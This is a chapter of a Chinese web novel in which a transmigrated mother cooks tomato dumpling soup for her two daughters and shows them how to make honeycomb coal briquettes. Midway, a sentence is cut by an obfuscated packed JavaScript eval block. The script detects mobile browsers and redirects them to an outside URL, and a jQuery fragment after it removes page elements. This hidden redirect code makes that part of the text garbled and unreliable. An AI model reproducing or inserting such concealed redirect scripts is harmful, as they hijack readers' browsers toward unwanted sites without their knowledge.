“妈,我改主意了,明天我们吃班尼迪克蛋吧。”
她三两口吃完早午饭,意犹未尽地嗦了嗦手指。
尤兰达含糊“嗯”了一声作为回应,手上动作不停。
察觉老母亲的敷衍,菲奥娜干脆探过身子偷看。
不知什么时候,泥炉上的陶锅换了新的,正小火慢炖着的番茄汤汁,咕嘟咕嘟冒泡泡。
而她们被上帝吻过手的妈妈,一手洒水、一手转着圈玩面,玩出一堆珍珠大小的面球。
西芙拉已经半饱,可吃可不吃的状态,见妈妈忙活新花样,眼里瞬间亮起光。
“妈妈,这又是什么?会比班尼迪克蛋好吃吗?”她舔唇,锅里白乎乎的小东西和天上云团差不多。
尤兰达一回头,恰好对上两双亮晶晶、写满“想吃”的眼睛,顿了顿动作,补加一大勺小麦粉。
“番茄风味珍珠浓汤。”她说。
国内叫它面疙瘩汤,出了国得换一个符合当地风格的新名字,尤兰达眼睛不眨的瞎编。
麦麸含量为零的精制面粉价格不菲,尼尔森家存货不多,她全带来了。
尤兰达原打算省着点用,馋得没办法的时候做点面条饺子以慰思乡的胃腑。
如今有了可以刷新物资的空间,她顾虑全无,想怎么吃怎么吃。
不止面疙瘩,包子、馒头、面条、糕点……都有机会加入菜单,顿顿不重样。
还是煮水波蛋的那锅水,倒进咕嘟冒泡的番茄汤汁里很快沸腾,恰好她的面疙瘩也准备完毕。
汤底翻涌,尤兰达抓起一把面疙瘩,手腕轻抖,均匀撒入锅中。
做荷兰酱剩下的蛋清顺着锅边缓缓滑入,凝成柔软的蛋花后,木勺转着圈轻推,打散融进汤底。
有两个眼巴巴的观众盯着,尤兰达没敢多放空间里的“秘密调料”,简单撒了一把新鲜的欧芹叶,一勺咸肉酱提鲜。
热气腾腾、色泽鲜亮的番茄咸肉面疙瘩汤,出锅了。
菲奥娜猛吸一口气,张嘴想说什么,未出声,口水抢先冲出嘴角。
意外的失态让菲奥娜羞窘不已,耳根子冒烟。
她向上帝发誓,绝对是番茄风味珍珠浓汤的问题,她还从来没有被哪一种食物诱的当场流口水过。
见姐姐抢占先机,端着碗挤上去,菲奥娜一抹嘴角,捧起陶碗乖乖排队。
尤兰达失笑,嘱咐一句“小心烫”,便将一锅面疙瘩汤分成三份。
女孩们馋得两眼冒光,烫也不肯放手,左右手来回倒腾碗,小口小口吹气。
等待面疙瘩汤晾凉的间隙,尤兰达顺手收拾起来:
锅碗堆进洗碗盆,铲出炉膛里的草木灰倒进陶罐,放去井边石台上留着洗碗用。
泡了一晚的辣椒籽拌上泥土沿墙种下,抄起井边木桶提去菜园浇水,顺道给大G加了一盆燕麦。
忙活半天,估摸着面疙瘩汤差不多可以入口了,尤兰达拍着裙摆进了屋。
一进门,却见两个女孩几乎埋进碗里,银勺一圈圈刮过粗陶碗内壁,不太美妙的“格拉格拉”声此起彼伏。
尤兰达略显诧异地顿住脚步。
面疙瘩汤这样的中式家常菜,她以为两个小老外会吃不来,特意给她们做了班尼迪克蛋。
转念一想,原身记忆里所谓的富人阶级才能享用的昂贵食材,说实话,不过如此。比不上她刻板印象里的白人饭。
不怪两人没吃过饭一样,差点上舌头舔碗了,连三明治都能夸出花的美食荒漠,又怎么能抵抗大中华美食的降维打击?
尤兰达毫不怀疑,如果她能复刻出仰望星空派,两个小孩恐怕也会争着抢着吃下去。
捧起温热的面疙瘩汤,沿着碗边吸溜汤汁,尤兰达发出满足喟叹。
再加一勺辣油,那滋味,不敢想有多香。
吃饱喝足,时间尚早,街边市集尚未开摊,踩点也踩不出门道。
尤兰达盘算一遍手里的活,找来旧木桶,按住想飞奔出去玩耍的女儿们,一人分一件工具,围着木桶捣煤炭。
不一会工夫,后院锤声闷响。
“这太粗鄙了,我们竟然在用煤炭。”西芙拉尖叫着挥开飞扬的煤灰,一脸嫌恶。
“妈妈,可怜可怜我们吧,我的胳膊又酸又痛呢。而且煤炭……确实有损体面。”
菲奥娜有一下没一下地捣,像极了上班摸鱼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200986|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的老油条。
尤兰达假装没听见:“加把劲,孩子们。”
幸好原煤块碎小,省去她们不少力气,分批倒入盆中,很快变成煤面。
将过筛的黏土少量多次添加,同时洒入适量的干草屑,只需混合搅拌,手搓蜂窝煤可以说完成了大半步骤。
“妈妈,适量是多少?”
西芙拉拢起满满一大捧干草屑,迟疑着没敢松手。
尤兰达哪知道适量是多少,只凭着模糊记忆模仿爷爷奶奶的操作,早忘记具体比例。
草多了加煤,煤多了加水和黏土,几次调整,终于达到握团不散的状态。
黏稠乌黑、泛着湿润光泽的煤粉,和记忆里的状态有八成相似。
尤兰达没钱打模具,找来裂口的破陶碗,装满压实,倒扣上柴棚的木板顶。
三人形成流水线,接力劳作,不出十几分钟,将近15平方的柴棚棚顶整整齐齐排满一坨坨湿煤球。
最后,尤兰达折来一根树枝,手动戳“蜂窝”。
黑森王国的盛夏干燥少雨,阳光明媚,放在通风处,煤粉不出三天便能晒成蜂窝煤。
全程抱怨不停的菲奥娜捶了捶酸疼的胳膊,迟钝追问:“妈妈,做这些有什么用?”
尤兰达言简意赅:“省钱。”
为了省钱,所以想出了不费柴的炒菜,所以有了草屑混合煤炭的蜂窝煤,所以不怕死的摘了旁人眼中“有毒”、“难吃”、“观赏”的植物填肚子。
解释太多反而容易引起怀疑,不如用省钱当幌子,多合理啊。
当然,不全是幌子,她们真缺钱。
至于别人信不信,尤兰达胸有成竹。
哪个时代的底层百姓都如此,为省下一点钱,什么法子都愿意琢磨,并不罕见。
女孩们爱美,搓完蜂窝煤立刻飞奔回房间梳妆打扮,为午后的皇城市集行程做准备。
尤兰达留下负责收尾工作,洗干净木盆木桶摞一起推进杂物棚,梯子送进柴棚。
等她们撑着伞、拎着包,花枝招展地走出来,尤兰达刚好忙完,摘下围裙,挎上篮子。
母女三人手挽手,一起向大市集出发。